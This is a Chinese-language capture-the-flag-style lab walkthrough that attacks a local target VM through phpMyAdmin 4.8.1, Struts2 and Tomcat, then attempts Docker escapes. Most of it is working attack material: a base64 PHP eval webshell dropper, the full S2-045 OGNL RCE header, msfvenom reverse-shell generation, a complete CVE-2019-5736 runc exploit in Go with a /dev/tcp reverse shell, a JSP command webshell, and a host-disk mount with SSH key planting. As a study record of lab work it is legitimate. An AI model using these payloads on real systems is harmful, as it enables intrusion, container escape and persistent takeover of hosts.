nmap 192.168.19.128/24
Nmap scan report for 192.168.19.131 Host is up (0.00035s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 2001/tcp open dc Jetty 9.2.11.v20150529 Struts2 Showcase - Fileupload sample 2002/tcp open globe Apache Tomcat 8.5.19 2003/tcp open finger MAC Address: 00:0C:29:8A:6C:09 (VMware) mysql | phpMyAdmin 4.8.1



2003记录版本信息:
mysql:5.5.62 apache:2.4.25 php:7.2 phpmyadmin:4.8.1
2002记录版本信息:
tomcat:8.5.19
尝试
phpmyadmin4.8.1入口
数据库文件包含
mysql执行
USE test;
create table test(code varchar(100));
insert into test(code) values("<?php phpinfo();?>");
show global variables like "%datadir%";

构造利用目录穿越漏洞
http://192.168.19.131:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../var/lib/mysql/test/test.MYD
(返回了路径不对的错误)
数据库文件包含(改进)
这里进了靶机的docker里看了一下,确实只有frm表结构文件(用来保存每个数据表的元数据 (meta)信息),没有MYD数据。而如过mysql使用默认数据库引擎是InnoDB,则不会生成.MYD。除非在建立表的时候,显式指定数据库储存引擎,建表语句示例:
create table testDb1 (columnName varchar(50)) engine=MyISAM ;
重新尝试一下
USE test;
create table test(code varchar(100)) engine=MyISAM;
insert into test(code) values("<?php phpinfo();?>");
show global variables like "%datadir%";


可以看到文件MYD已经被创造了。但是在本靶场中不可利用,mysql的数据库物理文件被隔离在另一个容器里,phpmyadmin的文件读取只能读取到phpmyadmin容器里的文件。而dockercompose创建了mysql和hphpmyadmin两个容器。
session文件路径包含
mysql执行SELECT "<?php phpinfo();?>”

如上图的到phpmyadmin的session:be14d1cfca046a39a60a6f5206880082
http://192.168.19.131:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_be14d1cfca046a39a60a6f5206880082
用bp传过去成功率比较高

改成写入木马
SELECT ‘<?php file_put_contents("matoujin.php",base64_decode(”PD9waHAgZXZhbCgkX1BPU1RbIm1hdG91amluIl0pPz4=”));?>’
再如之前访问phpinfo()一样去访问一下日志文件,使之产生文件matoujin.php文件,然后就可以用蚁剑连接
struct2入口
[18:09:29] [WARN] Apache OFBiz: CVE-2021-26295 connectio[18:09:30] [+] The target is Apache Struts2: S2-045 [rce] [cmd: echo 5b7c0a7bdca99223e1c3dc69bb47946c]
python3 vulmap.py -u 192.168.19.132:2001/doUpload.action -v "S2-045"
就能拿到shell
但是还是看一下是怎么一回事
影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10
当content-type中出现"multipart/form_data"时,会被认为有文件上传,是对字段Content-type的解析问题,poc的利用还是能够稍微看的懂的
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
手动抓包修改一下,中间cmd就是执行的命令,这里可以看到直接返回了root权限

几种docker逃逸的尝试
这里一开始用phpmyadmin利用
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=4444 -f elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
首先需要判断服务器是否为docker环境。常用的判断方法有两种。
- 是否存在.dockerenv文件
ls -alh /.dockerenv
- 查询系统进程的cgroup信息
cat /proc/1/cgroup
Docker逃逸 CVE-2019-5736(反正不能成功)
初识Docker逃逸 - FreeBuf网络安全行业门户待学习
原理:Docker、containerd或者其他基于runc的容器在运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
影响版本:平台或产品 受影响版本Docker Version < 18.09.2 runC Version <= 1.0-rc6
poc:
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// <https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d>
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
"flag"
)
var shellCmd string = "bash -i >& /dev/tcp/192.168.19.128/8000 0>& 1"
func init() {
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
flag.Parse()
}
func main() {
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \\n" + shellCmd
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
}
#kali安装go环境
cd /usr/local
wget <https://studygolang.com/dl/golang/go1.15.11.linux-amd64.tar.gz>
tar -xzf go1.15.11.linux-amd64.tar.gz
vim /etc/profile
添加 export PATH=$PATH:/usr/local/go/bin
source /etc/profile
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
编译得到可执行文件,想要上传main文件时,到home目录时,发现权限不够。
没办法,**只好从struct2入手,根据phpmyadmin是部署在docker,那么struct应该也是了。**思路就是,再kali上开python-http,然后2001端口容器执行wget下载刚准备好的main,再执行反弹到msf。

(唔,上面传成.go了,后来重新传了)
然后要chmod777。怪了,用bp发送最后执行main文件的时候就没有回显了。监听端口也没有收到反馈。
—privileged特权模式逃逸
简述原理:—privileged
时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
前面用bp发命令太慢了,就转到vulmap提供的shell上去,用wget传输msfshell, 把shell移到msf上去。
检测当前环境是否是特权模式启动
cat /proc/self/status | grep CapEff
如果是以特权模式启动,那么CapEff:为0000003fffffffff

如图所示,并不是
Dirty COW漏洞逃逸 CVE-2016-5195
用一个脚本跑一跑就好,具体分析暂搁置
利用tomcat漏洞+docker逃逸
根据tomcat8.5.19版本找到CVE-2017-12615
利用条件:当web.xml中配置readonly设置为false时可以通过PUT/DELETE进行文件操控。再利用windows下文件名解析的漏洞来触发的。根本是通过构造特殊后缀名,绕过Tomcat检测
**文件名绕过方式:**shell.jsp%20 shell.jsp::$DATA shell.jsp/
JSP页面马:
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\\n<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>


然后wget msf马
这里再看cat /proc/self/status | grep CapEff

mkdir /hack
mount /dev/sda1 /hack
将sda1挂载成功,我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的
然后kali生成本地ssh密钥
ssh-keygen -f hack
chmod 600 hack
生成密钥文件pub,复制一下重名为authorized_keys,用meterpreter upload到/hack/home/ubuntu/.ssh/中,然后chmod 700
ssh -i hack ubuntu@192.168.19.132
登录成功(
后面的操作看起来雷同,就没有实操。
后面的新知识点就是正向马和域提权
Comments | NOTHING